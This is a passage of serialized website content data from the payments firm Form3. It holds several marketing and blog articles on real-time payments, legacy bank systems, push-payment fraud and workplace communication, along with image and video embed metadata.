Care of Connectivity",[],{"type":25,"text":25002,"spans":25003},"In order to get to payments ubiquity and that full-fledged ability of FIs to serve clients according to differing payments needs, banks must be connected to the rails themselves.",[],{"type":25,"text":25005,"spans":25006},"From Form3’s point of view, as Scola said, “there’s no proprietary value in banks establishing their own connectivity to FedNow or to any scheme. It’s a utility.” Form3, he added, leverages its platform model and APIs to connect firms to the FedNow and TCH services, and to Fedwire as well.",[25007],{"start":25008,"end":25009,"type":489,"data":25010},213,228,{"link_type":491,"url":24574,"target":493},{"type":25,"text":25012,"spans":25013},"“APIs,” said Billings, “can add value … and enable a process within a software workflow in ways that we have not been able to do with prior technology.” Scola echoed that sentiment, stating that the service level agreements (SLAs) that are mandated by most of the instant payment schemes, required that — in a span of seconds — FIs conduct a funds availability check, must identify whether or not the beneficiary is even “addressable” via the scheme being used and check for sanctions screening. This is almost impossible to do without an API type of environment, said Scola.",[],{"type":25,"text":25015,"spans":25016},"“You cannot do this through processes built for batch and next day,” said Williams.",[],{"type":25,"text":25018,"spans":25019},"In the months and years ahead, said the panel, there’ll be a natural evolution of real-time payments, including earned wage access, and emergency disbursements. Billings predicted we’ll see the continued consumerization of corporate payments, transforming industries such as real estate and health care; Williams added that trade finance will see a similar transformation.",[25020,25023],{"start":12805,"end":10956,"type":489,"data":25021},{"link_type":491,"url":25022,"target":493},"https:\u002F\u002Fwww.pymnts.com\u002Fdigital-payments\u002F2023\u002Fpymnts-intelligence-leveraging-instant-payroll-to-improve-employee-satisfaction\u002F",{"start":3295,"end":2675,"type":489,"data":25024},{"link_type":491,"url":25025,"target":493},"https:\u002F\u002Fwww.pymnts.com\u002Fnews\u002Ffaster-payments\u002F2023\u002F30percent-of-consumers-swap-instant-for-slower-payments-to-avoid-fees\u002F",{"type":25,"text":25027,"spans":25028},"As Billings said, “there’s nothing that’s impossible, it just is going to take work … there’s a foundational level around the globe where real-time payments, immediate payments, are now a ‘real’ thing.”",[],"rich_text$f78949a1-8958-4314-acb2-cbfd1865dbb4",{"variation":437,"version":438,"items":25031,"primary":25032,"id":25039,"slice_type":468,"slice_label":5},[],{"body":25033},[25034],{"type":25,"text":14790,"spans":25035},[25036],{"start":9799,"end":1131,"type":489,"data":25037},{"link_type":491,"url":25038,"target":493},"https:\u002F\u002Fwww.pymnts.com\u002Freal-time-payments\u002F2023\u002Fpanel-real-time-ubiquity-and-connectivity-turn-payments-into-satisfaction-tools\u002F","rich_text$6d0f7b02-e300-456e-9968-49f1de4276d9","Real-time payments schemes are proliferating around the globe. Getting them to work in sync and breaking down the silos that exist between countries will be key to helping faster payments scale across a variety of commercial and consumer-facing use cases. Learn from Dave Scola, CEO for the U.S. at Form3; Sarah Billings, Senior Vice President, Head of Payments and International Product Operations and Transformation at PNC; and Dan Williams, Senior Vice President, Head of Embedded Banking at KeyBank as they talk to PYMNTS.",{"id":25042,"uid":25043,"type":3743,"data":25044},"alzzdREAACsAUWN9","gated-content-international-payments-build-buy-or-both",{"title":25045,"excerpt":25046,"card_image":25047,"published_date":25053,"reading_time":9211,"tag":6178,"dek":5,"featured_image":25054,"about_form3":25059,"client_about_heading":5,"client_about_body":25060,"author_name":5,"author_title":5,"author_photo":25061,"author_bio":25062,"author_linkedin":25063,"slices":25064,"meta_title":25045,"meta_description":25046},"International Payments: Build, Buy or Both","Building an international payments offering can be complex and confusing. Identifying the right partners to work with, or areas you are capable in building yourself, is no easy task. In this webinar our panel of payments experts will explore the benefits and pitfalls associated with building or buying an offering, and how organisations can benefit from a hybrid approach.",{"dimensions":25048,"alt":25049,"copyright":5,"url":25050,"id":25051,"edit":25052},{"width":412,"height":412},"International Payments","\u002F_prismic-media\u002Fd41eea0c3eecfc3d-DA9afAEdTL0MSwnE_gated-content-international-pay.jpg","DA9afAEdTL0MSwnE",{"x":398,"y":398,"zoom":399,"background":650},"2023-03-27",{"dimensions":25055,"alt":25049,"copyright":5,"url":25056,"id":25057,"edit":25058},{"width":501,"height":646},"\u002F_prismic-media\u002F36a859f9607d44cf-Ktpg2S6cI6YKc12j_ef351dce-eb4f-41f5-8956-4a2c127.png","Ktpg2S6cI6YKc12j",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[25065,25075],{"variation":437,"version":438,"items":25066,"primary":25067,"id":25074,"slice_type":468,"slice_label":5},[],{"body":25068},[25069,25071],{"type":25,"text":25046,"spans":25070},[],{"type":25,"text":25072,"spans":25073},"Understanding the direction of the industry as it digitises, adopts new standards, and opens innovation opportunities is important as you decide on how to enter or increase share in a market and importantly whether to build, buy or both.",[],"rich_text$b7a61ea3-4750-4f72-925f-981bf736b622",{"variation":437,"version":438,"items":25076,"primary":25077,"id":25097,"slice_type":468,"slice_label":5},[],{"body":25078},[25079,25081,25085,25089,25093],{"type":746,"text":21602,"spans":25080},[],{"type":3373,"text":25082,"spans":25083},"Lewis Ide, Head of International - Customer Success\nFORM3",[25084],{"start":398,"end":1355,"type":593},{"type":3373,"text":25086,"spans":25087},"Oonagh McGrane, Director FI Commercialisation\nLLOYDS BANKING GROUP",[25088],{"start":398,"end":2987,"type":593},{"type":3373,"text":25090,"spans":25091},"Mark Hewlett, COO\nUNIVERSAL PARTNERS FX",[25092],{"start":398,"end":2707,"type":593},{"type":3373,"text":25094,"spans":25095},"Chris Stares, Senior Solutions Architect\nVALANTIC FSA",[25096],{"start":398,"end":2707,"type":593},"rich_text$d58451a7-ef3b-40a6-bca2-7fcc10ed63d2",{"id":25099,"uid":25100,"type":3743,"data":25101},"alz0dREAACkAUWXu","the-great-divide",{"title":25102,"excerpt":25103,"card_image":25104,"published_date":5812,"reading_time":643,"tag":3751,"dek":25103,"featured_image":25109,"about_form3":25110,"client_about_heading":5,"client_about_body":25111,"author_name":5,"author_title":5,"author_photo":25112,"author_bio":25113,"author_linkedin":25114,"slices":25115,"meta_title":25102,"meta_description":25103},"The great divide","A legacy mindset is your burning platform",{"dimensions":25105,"alt":25102,"copyright":5,"url":25106,"id":25107,"edit":25108},{"width":412,"height":412},"\u002F_prismic-media\u002Fff77ed2c13315aea-zaiB8YSWVfHEACMG_the-great-divide.png","zaiB8YSWVfHEACMG",{"x":398,"y":398,"zoom":399,"background":400},{},[],[],{},[],{"link_type":434},[25116],{"variation":437,"version":438,"items":25117,"primary":25118,"id":25144,"slice_type":468,"slice_label":5},[],{"body":25119},[25120,25123,25126,25129,25132,25135,25138,25141],{"type":25,"text":25121,"spans":25122},"For a while, we have seen a divide in the banking industry between the new digital challenger banks and incumbent banks, but a sub-divide between the traditional banks is increasingly becoming apparent too.",[],{"type":25,"text":25124,"spans":25125},"Some of the traditional banks are exploring new ways of doing business, such as using cloud-native technology and collaborative structures which may also involve outsourcing their systems to third parties. So how come some of the traditional banks are continuing down the old and lonely road? The answer, legacy cultures that are accustomed to resisting change.",[],{"type":25,"text":25127,"spans":25128},"As technological enhancements combined with new Instant Payments schemes and legislation like PSD2 started to dictate the agenda, traditional banks were quick to create and fill new digital roles. We have all met them; the Chief Digital Officer, the Head of Digital Transformation, and so on. Tasked with the impossible - to digitalise a monolith bank.",[],{"type":25,"text":25130,"spans":25131},"But digital is so much more than offering a mobile or smartwatch app. It is about an organisational culture that can navigate and react quickly in a hyper-connected world. It is about understanding how data-driven relationships can be used to develop more predictive and personalised services. It is about understanding how open banking fits into the wider digital environment. Fundamentally, in the new hyper-connected world there simply is no room for a monolith mindset.",[],{"type":25,"text":25133,"spans":25134},"Banks that turn to third parties and outsource many of their systems and services are in a unique position to establish themselves as finance hubs. By focusing on providing the best service available, rather than building the service themselves, banks can become an integrated part of their digital customers’ life.",[],{"type":25,"text":25136,"spans":25137},"So what is separating the forward-looking banks from the die-hard incumbents? It is the recognition that there is a problem and that something has to be done about it. Finally, it takes really strong leadership to make hard decisions and lead with a vision that is clearly articulated.",[],{"type":25,"text":25139,"spans":25140},"At Form3 we are working with numerous banks that are entering into the open digital world, helping them migrate from expensive on-premise legacy payments technology to cloud-native Payments-as-a-Service. By partnering with Form3, banks can focus on providing personalised services for their customers, while Form3’s highly scalable and secure platform removes the complexity of managing critical and evolving payments infrastructure.",[],{"type":25,"text":25142,"spans":25143},"Please contact Form3 to learn more about how our platform can take care of your entire end-to-end journey of payments, from the moment a payment is instructed, right through the processing, clearing, and settlement with national and international payment schemes.",[],"rich_text$1c7b6fb3-1954-496b-b56a-3dfe73eee5df",{"id":25146,"uid":25147,"type":3743,"data":25148},"alzzvxEAACoAUWQ0","its-all-about-communication",{"title":25149,"excerpt":25150,"card_image":25151,"published_date":25157,"reading_time":643,"tag":3751,"dek":5,"featured_image":25158,"about_form3":25163,"client_about_heading":5,"client_about_body":25164,"author_name":5,"author_title":5,"author_photo":25165,"author_bio":25166,"author_linkedin":25167,"slices":25168,"meta_title":25149,"meta_description":25150},"It's all about communication","At Form3 we think that psychological safety is also related to the way we communicate each other. The inclusion in the communication, the freedom to disagree, respecting someone else’s opinions and polite language are pillars on top of which we build our communication strategy.",{"dimensions":25152,"alt":25153,"copyright":5,"url":25154,"id":25155,"edit":25156},{"width":412,"height":412},"communication","\u002F_prismic-media\u002F70fa3fd6244af789-O-1u2ycnEdlXWI0M_its-all-about-communication.png","O-1u2ycnEdlXWI0M",{"x":398,"y":398,"zoom":399,"background":400},"2022-10-31",{"dimensions":25159,"alt":25153,"copyright":5,"url":25160,"id":25161,"edit":25162},{"width":501,"height":502},"\u002F_prismic-media\u002Fe49b19d96c4bd4b7-lkFYaaFKsd7cCqBG_9df933ca-2e63-4d6b-b4e7-847b9b6.png","lkFYaaFKsd7cCqBG",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[25169],{"variation":437,"version":438,"items":25170,"primary":25171,"id":25214,"slice_type":468,"slice_label":5},[],{"body":25172},[25173,25176,25179,25181,25184,25187,25190,25193,25196,25199,25202,25205,25208,25211],{"type":746,"text":25174,"spans":25175},"\"I detest what you write, but I would give my life to make it possible for you to continue to write.\"",[],{"type":25,"text":25177,"spans":25178},"Creating an environment where people feel safe is a difficult task that requires consideration in a number of areas. Communication is one of them.",[],{"type":25,"text":25150,"spans":25180},[],{"type":25,"text":25182,"spans":25183},"We communicate with each other in many forms; language is one of the most obvious and used way; giving attention to the words and the language we use is particularly important. Modern communication tools are powerful, they reduce distances and time zones allowing async discussions, but they require an extra effort to be used properly.",[],{"type":25,"text":25185,"spans":25186},"In a slack message we lose the tone of the voice:",[],{"type":25,"text":25188,"spans":25189},"- emojis can help but they the interpretation of them can be very subjective.",[],{"type":25,"text":25191,"spans":25192},"I personally look at the emoji itself without paying attention at the label of it, so I ended up using the :blush: one to express joy. That face, to me, is a happy face until I realized that I was delivering the wrong message #epicfail.",[],{"type":25,"text":25194,"spans":25195},"To overcome these limitations, we need to be more careful in the language we use, express our opinions and ideas in the best, straightforward way to be sure that the message is not misunderstood.",[],{"type":25,"text":25197,"spans":25198},"Some basic ideas can help, for example being polite is never a bad choice, the old “thanks”, \"please\", \"would you mind\" and so on are just few additional keystrokes that can make an enormous difference. A Slack message is very handy, and quick to write but it is worth spending a few extra seconds to make our message easy to be understood.",[],{"type":25,"text":25200,"spans":25201},"We can go from an apparent rude message - \"Code Review required\" to a more polite one:\" when somebody has some time to spare, I would appreciate a code review, thanks!\"",[],{"type":25,"text":25203,"spans":25204},"If you have the doubt that the message has not been correctly delivered, it is a good idea to go on a quick call to clarify the points.  In Form3 quick video calls are welcome and commonplace, sometimes a few minutes on a call can massively improve the clarity of the communication. In a video call we see only a small percentage of the body language (if you keep your camera off, you see 0%). If we sit around a table in a real meeting room and somebody wants to speak, they can use body language to catch the speaker's attention.",[],{"type":25,"text":25206,"spans":25207},"In a video call, one of the more popular ways to get the opportunity to speak is to start to talk over each other, then it follows the awkward moment where each person apologies followed by an embarrassing silence, and finally both people start to talk again at the same time! (Clearly a better exponential back-off retry mechanism for humans has not been invented yet).",[],{"type":25,"text":25209,"spans":25210},"That process is not nice on an in-person meeting but accepted in a video call. Unfortunately, not all people can cope with the talk-over mechanism. In Form3 we want to be sure that every voice is heard, we encourage to use of the \"raise-hands\" buttons when someone wants to talk, and the facilitator of the meeting can (virtually) pass the mic.",[],{"type":25,"text":25212,"spans":25213},"We’ve enjoyed sharing a little of how we communicate in Engineering at Form3, but we’d also love to hear what works well for other businesses out there! ",[],"rich_text$d3ad55ff-3ef4-415f-b4b0-fa1ef9089306",{"id":25216,"uid":25217,"type":3743,"data":25218},"alzzMhEAACsAUWLc","what-the-us-can-learn-from-the-uk-about-push-payments-fraud",{"title":25219,"excerpt":25220,"card_image":25221,"published_date":25227,"reading_time":418,"tag":5813,"dek":25220,"featured_image":25228,"about_form3":25233,"client_about_heading":5,"client_about_body":25234,"author_name":5,"author_title":5,"author_photo":25235,"author_bio":25236,"author_linkedin":25237,"slices":25238,"meta_title":25219,"meta_description":25220},"What the US Can Learn From the UK About Push Payments Fraud","The U.K. banking industry is currently facing a new wave of regulations aimed at tackling push payment fraud. In an interview with Karen Webster, Form3 CEO Michael Mueller said new rules that establish guidelines to reimburse victims of push payment fraud underscore the depth of the problem — but don’t go far enough.",{"dimensions":25222,"alt":25223,"copyright":5,"url":25224,"id":25225,"edit":25226},{"width":412,"height":412},"Push Payments Fraud","\u002F_prismic-media\u002F0a03c6b12be30f89-Y1bT0UbBsMlepWr_what-the-us-can-learn-from-the-u.png","_Y1bT0UbBsMlepWr",{"x":398,"y":398,"zoom":399,"background":400},"2023-06-23",{"dimensions":25229,"alt":25223,"copyright":5,"url":25230,"id":25231,"edit":25232},{"width":501,"height":646},"\u002F_prismic-media\u002F4bcf2253f0923bf0-19dgnPZe-JHPIMbB_ef351dce-eb4f-41f5-8956-4a2c127.png","19dgnPZe-JHPIMbB",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[25239,25248,25277,25300],{"variation":437,"version":438,"items":25240,"primary":25241,"id":25247,"slice_type":2058,"slice_label":5},[],{"headline":5,"sub_headline":5,"embed":25242,"caption":5},{"embed_url":25243,"provider_name":283,"provider_url":2050,"title":25244,"author_name":413,"author_url":284,"type":2048,"height":2055,"width":2056,"version":2049,"thumbnail_height":2053,"thumbnail_width":2052,"thumbnail_url":25245,"html":25246},"https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=Ahvs67siOpo","What the US can learn from the UK about push payments fraud - Michael Mueller, CEO Form3","https:\u002F\u002Fi.ytimg.com\u002Fvi\u002FAhvs67siOpo\u002Fhqdefault.jpg","\u003Ciframe width=\"200\" height=\"113\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002FAhvs67siOpo?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen title=\"What the US can learn from the UK about push payments fraud - Michael Mueller, CEO Form3\">\u003C\u002Fiframe>","embed$d53d45ee-ebe6-4808-8fff-5ee2dd45b332",{"variation":437,"version":438,"items":25249,"primary":25250,"id":25276,"slice_type":468,"slice_label":5},[],{"body":25251},[25252,25255,25258,25261,25264,25267,25270,25273],{"type":25,"text":25253,"spans":25254},"“What’s effectively happening is that the sending and the receiving bank of a fraudulent transaction will have to share the responsibility and the liability for the damage incurred,” Mueller said. “And that means both of them are on the hook for half of the damage. And that’s new.”",[],{"type":25,"text":25256,"spans":25257},"The banks will be required to reimburse consumers for push payment fraud if money goes into a fraudster’s bank account.",[],{"type":25,"text":25259,"spans":25260},"The impact of fraud — where 41% of fraud in the U.K. has been estimated to be tied to push payments — is not just financial.",[],{"type":25,"text":25262,"spans":25263},"“Victims often feel embarrassed and lose trust in others when they’ve fallen prey to, say, invoice or romance scams,” Mueller said, adding that elderly people are especially vulnerable.",[],{"type":25,"text":25265,"spans":25266},"As Mueller told Webster, there’s been only a slightly positive impact from the implementation of confirmation of pay, as the account holder is identified before making the payment, matching the account name with the account number.",[],{"type":25,"text":25268,"spans":25269},"Mueller explained that Form3 is introducing artificial intelligence (AI) as part of the payment processing that scans community data to identify patterns and payment datasets. This helps assign risk scores to beneficiary accounts in flight, which can help banks decide whether to approach the payer or stop the payment.",[],{"type":25,"text":25271,"spans":25272},"“You need to look at the beneficiary account — and where the money’s going,” he said.",[],{"type":25,"text":25274,"spans":25275},"That’s easier said than done. Banks can introduce friction to combat fraud, but this may be problematic in an age where real-time payments are becoming more prevalent — and an expectation on the part of consumers. However, AI can be used to identify patterns and assign risk scores to beneficiary accounts, which can help reduce fraud.",[],"rich_text$f77e8b45-46d8-4473-a119-9d027086163b",{"variation":437,"version":438,"items":25278,"primary":25279,"id":25299,"slice_type":468,"slice_label":5},[],{"body":25280},[25281,25284,25287,25290,25293,25296],{"type":746,"text":25282,"spans":25283},"A Collaborative Approach",[],{"type":25,"text":25285,"spans":25286},"Mueller emphasized that banks need to work together to solve this issue. Banks must share data and implement the technology to scan the data to identify as many fraudulent attempts as possible. He added that it’s a technical upgrade exercise required to ensure that push payment fraud is kept under control.",[],{"type":25,"text":25288,"spans":25289},"Technology can help identify fraudulent activity, but fraudsters are clever and efficient, and it’s a scale game for them. Money “mule” scams — where complicit or unwitting victims move funds on behalf of criminals and networks — represent a particular threat, he said.",[],{"type":25,"text":25291,"spans":25292},"It’s helpful “if you can actually identify fraudulent activity in datasets that you have and run artificial intelligence algorithms on top of that to basically identify those,” Mueller said. “That’s how the card companies are controlling fraud, and I think there are some lessons to be learned there.”",[],{"type":25,"text":25294,"spans":25295},"He noted that assigning a “risk score” to beneficiary accounts can help banks decide whether they want to let a transaction be completed — or not — and whether the payee needs additional friction introduced before the proceeding.",[],{"type":25,"text":25297,"spans":25298},"“This is going to be another tool in the armory of banks to control fraud a lot more. At the end of the day, it’s all about data,” Mueller said, adding that “technology can be helpful — and can be an ultimate form of defense.”",[],"rich_text$3763fd0b-387c-4183-95b2-e4f862bcaec7",{"variation":437,"version":438,"items":25301,"primary":25302,"id":25309,"slice_type":468,"slice_label":5},[],{"body":25303},[25304],{"type":25,"text":14790,"spans":25305},[25306],{"start":9799,"end":1131,"type":489,"data":25307},{"link_type":491,"url":25308,"target":493},"https:\u002F\u002Fwww.pymnts.com\u002Fnews\u002Fsecurity-and-risk\u002F2023\u002Fwhat-united-states-can-learn-from-uk-about-push-payments-fraud\u002F","rich_text$92bb2d28-15ac-4fcd-a005-8d4feca9e26a",{"id":25311,"uid":25312,"type":3743,"data":25313},"alzzCBEAACgAUWJ-","challenge-of-real-time-integration",{"title":25314,"excerpt":25315,"card_image":25316,"published_date":25321,"reading_time":4603,"tag":3751,"dek":5,"featured_image":25322,"about_form3":25327,"client_about_heading":5,"client_about_body":25328,"author_name":5,"author_title":5,"author_photo":25329,"author_bio":25330,"author_linkedin":25331,"slices":25332,"meta_title":25314,"meta_description":25425},"The Evolution and Challenges of Real-Time Payments Integration","In today's dynamic world of financial services, the move towards integrating real-time payment schemes is both a necessity and a challenge. Across the globe, there are myriad schemes in varying stages of maturity and adoption. For financial institutions keen on operating seamlessly across these platforms, understanding their nuances is paramount.",{"dimensions":25317,"alt":25314,"copyright":5,"url":25318,"id":25319,"edit":25320},{"width":412,"height":412},"\u002F_prismic-media\u002Ff0645f15442d87fe-OBI5c-Vg33lNRLlO_challenge-of-real-time-integrat.png","OBI5c-Vg33lNRLlO",{"x":398,"y":398,"zoom":399,"background":400},"2023-08-22",{"dimensions":25323,"alt":5,"copyright":5,"url":25324,"id":25325,"edit":25326},{"width":501,"height":646},"\u002F_prismic-media\u002F0a30c75ada2a0f56-4rIBcIe_lcjV-_wa_ef351dce-eb4f-41f5-8956-4a2c127.png","4rIBcIe_lcjV-_wa",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[25333,25340,25357,25374,25388,25408],{"variation":437,"version":438,"items":25334,"primary":25335,"id":25339,"slice_type":468,"slice_label":5},[],{"body":25336},[25337],{"type":25,"text":25315,"spans":25338},[],"rich_text$81ac6ae4-00fc-4d57-9a32-997482ec457c",{"variation":437,"version":438,"items":25341,"primary":25342,"id":25356,"slice_type":468,"slice_label":5},[],{"body":25343},[25344,25347,25350,25353],{"type":746,"text":25345,"spans":25346},"The Illusion of Standardisation",[],{"type":25,"text":25348,"spans":25349},"Even as message content standardisation has emerged as a trend, it's not a magic bullet. While there's a semblance of unity in terms of messaging, the reality beneath is far from homogeneous. Payment schemes, particularly in the real-time space, are largely local activities, differing on several dimensions.",[],{"type":25,"text":25351,"spans":25352},"Different technical connectivity requirements, from cloud-based solutions to local data centres, further contribute to this complexity. These varying requirements don't merely pose infrastructure challenges; they lead to differences in the very way payment schemes operate. Some might support transaction reversals, others might allow for recalls, and yet others might do neither. Such diversity influences the operational level, with each scheme transacting differently.",[],{"type":25,"text":25354,"spans":25355},"These differences translate into distinct operational variations for banks, especially when they have to manage exception processes. Contrary to a generalised view, these operations are highly localised. For a financial institution looking to operate across different geographies, understanding these local nuances becomes imperative.",[],"rich_text$3ae36b45-04ce-4711-8182-7fd6df55b5d3",{"variation":437,"version":438,"items":25358,"primary":25359,"id":25373,"slice_type":468,"slice_label":5},[],{"body":25360},[25361,25364,25367,25370],{"type":746,"text":25362,"spans":25363},"Bridging the Technical Gap with Payments as a Service",[],{"type":25,"text":25365,"spans":25366},"One solution that's begun to show promise in addressing these challenges is the concept of Payments as a Service. With the increasing dynamism of regulatory schemes and the rapid evolution of technology, the need for an adaptable solution has never been greater.",[],{"type":25,"text":25368,"spans":25369},"A primary advantage of a platform-based solution is the shift towards a single API integration. This means that when institutions integrate with one payment scheme, there's a high degree of reuse when connecting to subsequent ones. The onus of harmonising differences between these schemes falls on the technology provider, making integration smoother for banks and financial institutions.",[],{"type":25,"text":25371,"spans":25372},"Moreover, a significant chunk of the maintenance overhead, be it security, resiliency, or even changes in the underlying scheme requirements, gets transferred to the platform provider. Such an arrangement offers financial institutions a buffer from sudden changes, allowing them to focus on their core competencies and not constantly juggle with technical adjustments.",[],"rich_text$fe93ee48-3037-443b-a2e2-ad653a3fd066",{"variation":437,"version":438,"items":25375,"primary":25376,"id":25387,"slice_type":468,"slice_label":5},[],{"body":25377},[25378,25381,25384],{"type":746,"text":25379,"spans":25380},"The Role of Payments as a Service in a Global Context",[],{"type":25,"text":25382,"spans":25383},"The main friction in global financial operations arises when institutions have to deal with diverse technology stacks and unique operational processes in each geography. Payments as a Service platforms act as a bridge, offering a consistent approach irrespective of the institution's underlying tech infrastructure. ",[],{"type":25,"text":25385,"spans":25386},"One can view this not just as a means of connecting different technology stacks but as a way to unify diverse operations. This reduces complexities for financial institutions operating across different markets, thereby streamlining their global payment operations.",[],"rich_text$18a3ee3b-f589-4a75-af51-289b8e6c8869",{"variation":437,"version":438,"items":25389,"primary":25390,"id":25407,"slice_type":468,"slice_label":5},[],{"body":25391},[25392,25395,25398,25401,25404],{"type":746,"text":25393,"spans":25394},"The Road to Interoperability and the Power of Scale",[],{"type":25,"text":25396,"spans":25397},"With tens of real-time payment schemes cropping up around the world, all at varying stages of maturity, the eventual goal for many is achieving interoperability. Though most payment activity remains local, the allure of achieving scale in cross-border corridors is enticing.",[],{"type":25,"text":25399,"spans":25400},"While the underlying driving force in all markets remains a fundamental change in consumer expectations, the goalpost keeps shifting. Today's consumer expects transactions to be completed in mere seconds. ",[],{"type":25,"text":25402,"spans":25403},"However, creating genuine, real-time, traceable, cross-border flows becomes feasible only once scale is achieved. The evolution of technical platforms enables this, and the rise of Payments as a Service solutions is a testament to this shift.",[],{"type":25,"text":25405,"spans":25406},"Interestingly, achieving this doesn't necessarily depend on central infrastructures figuring out how to interlink. Instead, platform technology can simulate these use-cases by leveraging local payment schemes. This approach can achieve results faster than waiting for central infrastructures to connect directly.",[],"rich_text$71a15018-1e4c-4b26-a00a-eea74ffe0119",{"variation":437,"version":438,"items":25409,"primary":25410,"id":25424,"slice_type":468,"slice_label":5},[],{"body":25411},[25412,25415,25418,25421],{"type":746,"text":25413,"spans":25414},"Resilience and Scale: The Cornerstones of Modern Payment Platforms",[],{"type":25,"text":25416,"spans":25417},"In the ever-evolving payments landscape, resilience and scalability have become the bedrock of success. Any institution aiming to process transactions in the billions needs to have these foundational aspects in place.",[],{"type":25,"text":25419,"spans":25420},"Platforms like Payments as a Service come into their own in such scenarios. By distributing the responsibility of managing scale across various institutions, these platforms ensure that growth rates remain manageable. Ultimately, this ensures that even as transaction volumes increase, the system remains robust and functional.",[],{"type":25,"text":25422,"spans":25423},"In conclusion, as the global financial landscape continues to evolve, solutions that offer flexibility, resilience, and scale will remain at the forefront, guiding institutions through the complexities of integration and ensuring smooth operations irrespective of geographical boundaries.",[],"rich_text$f38895c9-63f4-4c53-83df-e3736b2dc798","As the global payments landscape continues to evolve and move to real time, adopting a platform approach is becoming key for success for financial institutions.",{"id":25427,"uid":25428,"type":3743,"data":25429},"alzy5xEAACgAUWIx","instant-payments-force-banks-to-examine-limitations-of-creaky-legacy-systems",{"title":25430,"excerpt":25431,"card_image":25432,"published_date":25437,"reading_time":418,"tag":5813,"dek":5,"featured_image":25438,"about_form3":25443,"client_about_heading":5,"client_about_body":25444,"author_name":5,"author_title":5,"author_photo":25445,"author_bio":25446,"author_linkedin":25447,"slices":25448,"meta_title":25430,"meta_description":25431},"Instant Payments Force Banks to Examine Limitations of ‘Creaky’ Legacy Systems","The July launch of the FedNow® Service — and the fact that The Clearing House’s RTP® network has been operational for six years — underscores the need for banks to examine their legacy payments architecture, Form3 U.S. CEO Dave Scola told PYMNTS.",{"dimensions":25433,"alt":16524,"copyright":5,"url":25434,"id":25435,"edit":25436},{"width":412,"height":412},"\u002F_prismic-media\u002Fdddb174491d4db1c-EusmKXsK-6ElH1CE_instant-payments-force-banks-to.png","EusmKXsK-6ElH1CE",{"x":398,"y":398,"zoom":399,"background":400},"2023-10-24",{"dimensions":25439,"alt":16524,"copyright":5,"url":25440,"id":25441,"edit":25442},{"width":501,"height":646},"\u002F_prismic-media\u002Fe7e877012d17ead9-UhR8ZBr5tIWGmoPn_ef351dce-eb4f-41f5-8956-4a2c127.png","UhR8ZBr5tIWGmoPn",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[25449,25471,25479,25502,25543],{"variation":437,"version":438,"items":25450,"primary":25451,"id":25470,"slice_type":468,"slice_label":5},[],{"body":25452},[25453,25461,25464,25467],{"type":25,"text":25431,"spans":25454},[25455,25457,25459],{"start":4023,"end":11705,"type":489,"data":25456},{"link_type":491,"url":14982,"target":493},{"start":592,"end":855,"type":489,"data":25458},{"link_type":491,"url":14728,"target":493},{"start":3872,"end":12970,"type":489,"data":25460},{"link_type":491,"url":4108,"target":493},{"type":25,"text":25462,"spans":25463},"Scola’s remarks came as part of the continuing “What’s Next” series, examining the looming trends in payments demand and innovations.",[],{"type":25,"text":25465,"spans":25466},"And that means looking at what works, what doesn’t and where changes need to be made.",[],{"type":25,"text":25468,"spans":25469},"“There’s the desire to meet client demand for real-time payments for enhanced data to capture, and to leverage some additional services on top of the payments,” Scola said.",[],"rich_text$9a22a30e-d0ad-472f-9a87-fbabace66087",{"variation":437,"version":438,"items":25472,"primary":25473,"id":25478,"slice_type":2058,"slice_label":5},[],{"headline":5,"sub_headline":5,"embed":25474,"caption":5},{"embed_url":25475,"provider_name":283,"provider_url":2050,"title":25430,"author_name":413,"author_url":284,"type":2048,"height":2055,"width":2056,"version":2049,"thumbnail_height":2053,"thumbnail_width":2052,"thumbnail_url":25476,"html":25477},"https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=uwbCNObZ6WA","https:\u002F\u002Fi.ytimg.com\u002Fvi\u002FuwbCNObZ6WA\u002Fhqdefault.jpg","\u003Ciframe width=\"200\" height=\"113\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002FuwbCNObZ6WA?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen title=\"Instant Payments Force Banks to Examine Limitations of ‘Creaky’ Legacy Systems\">\u003C\u002Fiframe>","embed$48b9bf38-7ffa-4573-af24-cb82cfa63225",{"variation":437,"version":438,"items":25480,"primary":25481,"id":25501,"slice_type":468,"slice_label":5},[],{"body":25482},[25483,25486,25489,25492,25495,25498],{"type":746,"text":25484,"spans":25485},"Addressing the Pain Points and ‘Creaking’ Systems",[],{"type":25,"text":25487,"spans":25488},"The “creaking, older legacy platforms,” he noted, are struggling to adapt to new demands, particularly the technological demands that come with 24\u002F7\u002F365 operations. The volumes that are crossing and are expected to cross real-time rails may not be huge at the moment, but there will be a groundswell through the next year, with momentum accelerating into 2025.",[],{"type":25,"text":25490,"spans":25491},"The dynamics and demands are leading financial services execs to earmark money for innovation in the year ahead, he said. Among the key initiatives lies a continued shift to the cloud to access core platforms and payments gateways and to use more off-premise options to help them move to market more quickly with new products and services.",[],{"type":25,"text":25493,"spans":25494},"“APIs are now moving into the ‘center frame’ in order to facilitate the interaction of those core components,” he said.",[],{"type":25,"text":25496,"spans":25497},"No conversation about payments innovation would seem to be complete without at least some discussion of artificial intelligence (AI). Scola observed that AI and machine learning have been tools leveraged in innovation and will continue to prove useful in fraud prevention and risk management.",[],{"type":25,"text":25499,"spans":25500},"“AI opens up new avenues for fraud analytics, though the application of AI to payments has yet to be seen,” he said.",[],"rich_text$20ec8f84-b985-432e-9bca-76542bcf6b3b",{"variation":437,"version":438,"items":25503,"primary":25504,"id":25542,"slice_type":468,"slice_label":5},[],{"body":25505},[25506,25509,25512,25515,25518,25521,25524,25527,25530,25539],{"type":746,"text":25507,"spans":25508},"The Future of Real Time",[],{"type":25,"text":25510,"spans":25511},"As the months roll on, banks will need to monitor a long-term dynamic as to whether (and to what extent) instant payments 